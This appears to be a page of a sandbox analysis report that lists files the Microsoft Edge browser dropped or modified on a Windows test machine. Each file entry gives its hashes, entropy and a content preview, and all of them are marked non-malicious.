Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1d06e31c-df5e-4c12-ba14-68dc7d70cf1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45752
Entropy (8bit):	6.087987958143012
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx97F5uthDO6vP6O2L7ddOB6wyccpYL+CAoXGoup1Xl3jVzXrP:mMk1rT8HR97r6WFMcp1RoXhu3VlXr4Y
MD5:	D99F8FCD5F588BB249CB3849F6F8F735
SHA1:	872323B3FF09DAB7F827C528E1EAD207B20DDC62
SHA-256:	77FF2325952737E0F8915B36DABEDEF378FB4968BF3A1E072546DD01CEC6F78E
SHA-512:	F01A723098EA571974CFEF46D1DCD0C55DFBE9F946C571A66DA80D04063F2382E88065420A3AE21955EBFE99353001C1D6066EFF53740350096DCCB28C27C713
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2fba4a31-9551-4597-aa89-285ea8f1e6de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45876
Entropy (8bit):	6.087691969676444
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQg1o7d5uthDO6vP6O2L7dxOB6wyccpYL+CAoXGoup1Xl3jVzXrP:mMk1rT8HVo7z6WF4cp1RoXhu3VlXr4Y
MD5:	D58C0AE152B33EDEB66A939B58B9F0D4
SHA1:	F81883C0CDB749481733EAEB2C816CCD0A2D659F
SHA-256:	8BE0B207A7D9E22EB4BF3589EAB881CD67DA2C074930E16AC78408F8A8FC3461
SHA-512:	4C57931ECDAE3258FD308DEE44A1032455FC7EECCD59CE7A506E050DFAF6E4FE543A0BA8F5D9518292EC163F11094F7E6399748CE630B968253AE2D2C49038B7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5dc26f13-e990-4ad8-ac16-1df0079248a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\932158c5-b6ab-4902-973a-b376ece28236.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.09630197171584
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBowuQhDO6vP6O2L7d1FPYAKvDPDE5LcGoup1Xl3j0:z/Ps+wsI7ynEQ6WFDLchu3VlXr4CRo1
MD5:	B6ABEFD0E473C775523AC19C3EC111F8
SHA1:	EB07758EAAD0E7DB1CACFDC7772E7AE798C44B0E
SHA-256:	211B201D1B0E1A2A87D736B1E6840172AC6079A91847204D49E18CC182000607
SHA-512:	099F47639987F3BC9A358E33FBBF6058AFAD8295E61563C5200CCBFF790D4A37094C2C9C0226E66D265005699CBB5C688C7DF46C7DC62C9EAE6401BE26C95840
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e9a51f8c-a441-4623-a4ee-ae287595c10a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-671FCD39-1D60.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4505610413785722
Encrypted:	false
SSDEEP:	6144:Et0CT32IVZUfAZTJKaqA0Ajobhc3aHMX:4ZUf6TkZ
MD5:	518ECF755D28488596B76F2DCF364980
SHA1:	1996AB9CF939F009B237B9899132C1EFB1AF56F5
SHA-256:	1F42B9F36CE6EFA1701102028DACC60C1C8CF1EAD94A8925D2630191C16B745E
SHA-512:	74B96734829315EEC030DBE9308B9950F6F86E59D18792D9042C3863B94D17F4DBEA3D8893A3D9282A5F0D14AECE4E97D133800C7CEE51CF3AEB3A1F14B8D55B
Malicious:	false
Preview:	...@..@...@.....C.].....@................... ...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vcwgxk20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\13f8d04f-aa17-4c33-93df-36748ccbaa77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17319), with no line terminators
Category:	dropped
Size (bytes):	17320
Entropy (8bit):	5.4791421069912305
Encrypted:	false
SSDEEP:	384:strPGQSu4Ssr9fhessu9bGL7QwM6WOlaTYR:sZOXuO9fDxbGLUv0aTYR
MD5:	3803ABF00F4D64AC6FB3791D406806A3
SHA1:	3B9857FD0D0412FE3003427B7DF028879496DC47
SHA-256:	52CD2EFBF8B327300FFE8844694BDB507C71EC88AD7CD176B030495FB08C4EF9
SHA-512:	317C35DFD87E1AE074857DB2556875B2146F3C085FF4DA934A24E10F386517B75B93BEC286D946777E4371D771C3361692C24F0FA5D4F92E47F578608B4AE488
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1a63c1c9-3c7a-492f-80a1-dc2e4ba56ccc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561019823292537
Encrypted:	false
SSDEEP:	768:MCywlA7pLGLpkmWPD/fma8F1+UoAYDCx9Tuqh0VfUC9xbog/OVen+N3jwrwG+VLB:MCywlMcpkmWPD/fmau1jajn+ljBG+Vuc
MD5:	84E890FBD255C5CEE6CA2612C9B01DD6
SHA1:	57F700B6F94B72F63A89B2E86AE2EED046141448
SHA-256:	57538D0ED993516A25A474A578C45D58955DE64EFEF4B3173443283305C3B758
SHA-512:	78E1A9EB259D437BEE849432B46B67410E33BDC99ADAC34C6A7934437969F6A33224512DDB342D02DDA660F64873850272C845B065E4E3A21AF6A7E604DC1C81
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374611002741773","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374611002741773","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1fd2de60-0891-42c9-8bb7-7ee26f3f68d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17154), with no line terminators
Category:	dropped
Size (bytes):	17155
Entropy (8bit):	5.482674316396137
Encrypted:	false
SSDEEP:	384:strPGQSu4Ssr9fhessu9bGL7QwM6WzaTYR:sZOXuO9fDxbGLUv/aTYR
MD5:	8F57B7101DE63D60DDE02C5335A2A99D
SHA1:	D9BF69322BD67F13C7982D42A706F3C7969F3A98
SHA-256:	7E66C5CEA00036833F4F29B16B7F2E86ECAC796734E41CFA50B788721918F0F5
SHA-512:	54C4A7EECA7400936DC64AF70DE8B2195EF006479CAEC419D1A0F853306EE4EDA0C6E1444B60149D540B889563CB0E6982EE8C82D0A3A25BB7519F857B3643AC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5b6441e3-f618-45d0-b33f-f28eac71f551.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12487
Entropy (8bit):	5.205227975141061
Encrypted:	false
SSDEEP:	192:strJ99QTryDigabatSuypSsr9sZihUk0f+o84HbV+Fmy7QA66WzaFIMYpPuYJ:strPGKSu4Ssr9fhKZbGL7Qx6WzaTYR
MD5:	6DB00254AD6F3475FFF9BC8FC90F184E
SHA1:	74FB58CC0F0C3D809CB75212B992FE75FE40F593
SHA-256:	432441228460AE8367D77A0EE5B7799CDC9BF5A17950B14A82A64440A251F4EC
SHA-512:	0B5A78F0A8D1108DEB7556F5ABBC1BAD5CC9D016DE9B29DCB71C62A516DBBDDFF5E41513E30A7563EB76BF2026483DD91EA4AC8CAA2381B9CAFAA6E41BFAB02B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\628361a9-13a9-40ad-a71b-6b023a167397.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
